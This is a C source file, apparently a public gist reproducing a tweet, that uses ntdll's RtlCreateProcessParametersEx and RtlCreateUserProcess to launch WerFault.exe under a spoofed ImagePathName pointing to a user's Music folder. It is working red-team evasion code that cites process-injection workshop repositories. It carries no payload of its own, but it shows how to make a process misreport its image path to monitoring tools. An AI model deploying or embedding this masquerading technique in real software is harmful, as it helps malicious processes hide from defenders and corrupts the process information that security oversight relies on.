Reproduction of https://twitter.com/Octoberfest73/status/1642165975805050881

ImagePathNameSpoof.c

#include <windows.h>
#include <stdio.h>
#define RTL_MAX_DRIVE_LETTERS 32
#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001
#define STATUS_SUCCESS 0
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) == STATUS_SUCCESS)

// https://github.com/RedTeamOperations/Advanced-Process-Injection-Workshop/blob/66a2d3ffe6540c981182a2fb38cc92b0909c4b7f/CWLProcessDoppelganging/CWLProcessDoppelganging/CWLImplant.cpp
// https://github.com/huntandhackett/concealed_code_execution/blob/e688551bac50d8525b4ca7490da3981999cbff52/Injection/SampleDlls/3.NoDependencies/dllmain.c

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  pBuffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _RTL_DRIVE_LETTER_CURDIR
{
    USHORT                  Flags;
    USHORT                  Length;
    ULONG                   TimeStamp;
    UNICODE_STRING          DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;

typedef struct _CURDIR
{
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, *PCURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;
    ULONG Length;

    ULONG Flags;
    ULONG DebugFlags;

    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;

    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;

    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;

    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];

    ULONG EnvironmentSize;
    ULONG EnvironmentVersion;
    PVOID PackageDependencyData;
    ULONG ProcessGroupId;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _SECTION_IMAGE_INFORMATION
{
    PVOID TransferAddress;
    ULONG ZeroBits;
    ULONG MaximumStackSize;
    ULONG CommittedStackSize;
    ULONG SubSystemType;

    union
    {
        struct
        {
            WORD SubSystemMinorVersion;
            WORD SubSystemMajorVersion;
        };
        ULONG SubSystemVersion;
    };

    ULONG GpValue;
    WORD ImageCharacteristics;
    WORD DllCharacteristics;
    WORD Machine;
    UCHAR ImageContainsCode;
    UCHAR ImageFlags;
    ULONG ComPlusNativeReady: 1;
    ULONG ComPlusILOnly: 1;
    ULONG ImageDynamicallyRelocated: 1;
    ULONG Reserved: 5;
    ULONG LoaderFlags;
    ULONG ImageFileSize;
    ULONG CheckSum;
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

typedef struct _RTL_USER_PROCESS_INFORMATION {
    ULONG Size;
    HANDLE ProcessHandle;
    HANDLE ThreadHandle;
    CLIENT_ID ClientId;
    SECTION_IMAGE_INFORMATION ImageInformation;
} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;

typedef NTSTATUS (NTAPI *_RtlCreateProcessParametersEx)(
    _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
    _In_ PUNICODE_STRING ImagePathName,
    _In_opt_ PUNICODE_STRING DllPath,
    _In_opt_ PUNICODE_STRING CurrentDirectory,
    _In_opt_ PUNICODE_STRING CommandLine,
    _In_opt_ PVOID Environment,
    _In_opt_ PUNICODE_STRING WindowTitle,
    _In_opt_ PUNICODE_STRING DesktopInfo,
    _In_opt_ PUNICODE_STRING ShellInfo,
    _In_opt_ PUNICODE_STRING RuntimeData,
    _In_ ULONG Flags
);

typedef NTSTATUS (NTAPI *_RtlCreateUserProcess)(
    _In_ PUNICODE_STRING NtImagePathName,
    _In_ ULONG AttributesDeprecated,
    _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
    _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
    _In_opt_ HANDLE ParentProcess,
    _In_ BOOLEAN InheritHandles,
    _In_opt_ HANDLE DebugPort,
    _In_opt_ HANDLE TokenHandle,
    _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation
);

typedef NTSTATUS (NTAPI *_RtlDestroyProcessParameters)(
    _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters
);

typedef NTSTATUS (NTAPI *_NtResumeThread)(
    _In_ HANDLE ThreadHandle,
    _Out_opt_ PULONG PreviousSuspendCount
);

typedef NTSTATUS (NTAPI *_NtClose)(
    _In_ HANDLE Handle
);

void main()
{
    _RtlCreateProcessParametersEx pRtlCreateProcessParametersEx = (_RtlCreateProcessParametersEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateProcessParametersEx");
    if (pRtlCreateProcessParametersEx == NULL)
    {
        printf("[-] Error RtlCreateProcessParametersEx API not found!\n");
        return;
    }

    _RtlCreateUserProcess pRtlCreateUserProcess = (_RtlCreateUserProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateUserProcess");
    if (pRtlCreateUserProcess == NULL)
    {
        printf("[-] Error pRtlCreateUserProcess API not found!\n");
        return;
    }

    _RtlDestroyProcessParameters pRtlDestroyProcessParameters = (_RtlDestroyProcessParameters)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlDestroyProcessParameters");
    if (pRtlDestroyProcessParameters == NULL)
    {
        printf("[-] Error pRtlDestroyProcessParameters API not found!\n");
        return;
    }

    _NtResumeThread pNtResumeThread = (_NtResumeThread)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtResumeThread");
    if (pNtResumeThread == NULL)
    {
        printf("[-] Error pNtResumeThread API not found!\n");
        return;
    }

    _NtClose pNtClose = (_NtClose)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtClose");
    if (pNtClose == NULL)
    {
        printf("[-] Error pNtClose API not found!\n");
        return;
    }

    NTSTATUS status;
    PRTL_USER_PROCESS_PARAMETERS processParams;
    RTL_USER_PROCESS_INFORMATION processInfo;

    UNICODE_STRING spoofedImagePathName;
    spoofedImagePathName.pBuffer = L"\\??\\C:\\Users\\user\\Music\\WerFault.exe";
    for (spoofedImagePathName.Length = 0; spoofedImagePathName.pBuffer[spoofedImagePathName.Length]; spoofedImagePathName.Length++);
    spoofedImagePathName.Length = spoofedImagePathName.Length * sizeof(WCHAR);
    spoofedImagePathName.MaximumLength = spoofedImagePathName.Length + sizeof(UNICODE_NULL);

    UNICODE_STRING currentDirectory;
    currentDirectory.pBuffer = L"C:\\Windows\\System32\\";
    for (currentDirectory.Length = 0; currentDirectory.pBuffer[currentDirectory.Length]; currentDirectory.Length++);
    currentDirectory.Length = currentDirectory.Length * sizeof(WCHAR);
    currentDirectory.MaximumLength = currentDirectory.Length + sizeof(UNICODE_NULL);

    UNICODE_STRING commandLine;
    commandLine.pBuffer = L"C:\\Windows\\System32\\";
    for (commandLine.Length = 0; commandLine.pBuffer[commandLine.Length]; commandLine.Length++);
    commandLine.Length = commandLine.Length * sizeof(WCHAR);
    commandLine.MaximumLength = commandLine.Length + sizeof(UNICODE_NULL);

    UNICODE_STRING imagePathName;
    imagePathName.pBuffer = L"\\??\\C:\\Windows\\System32\\WerFault.exe";
    for (imagePathName.Length = 0; imagePathName.pBuffer[imagePathName.Length]; imagePathName.Length++);
    imagePathName.Length = imagePathName.Length * sizeof(WCHAR);
    imagePathName.MaximumLength = imagePathName.Length + sizeof(UNICODE_NULL);

    status = pRtlCreateProcessParametersEx(
        &processParams,
        &spoofedImagePathName,
        NULL,
        &currentDirectory,
        &commandLine,
        NULL,
        &imagePathName,
        NULL,
        NULL,
        NULL,
        RTL_USER_PROC_PARAMS_NORMALIZED
    );

    if (!NT_SUCCESS(status))
        return;

    status = pRtlCreateUserProcess(
        &imagePathName,
        0,
        processParams,
        NULL,
        NULL,
        GetCurrentProcess(),
        TRUE,
        NULL,
        NULL,
        &processInfo
    );

    pRtlDestroyProcessParameters(processParams);

    if (!NT_SUCCESS(status))
        return;

    pNtResumeThread(processInfo.ThreadHandle, NULL);
    pNtClose(processInfo.ProcessHandle);
    pNtClose(processInfo.ThreadHandle);
    return;
}

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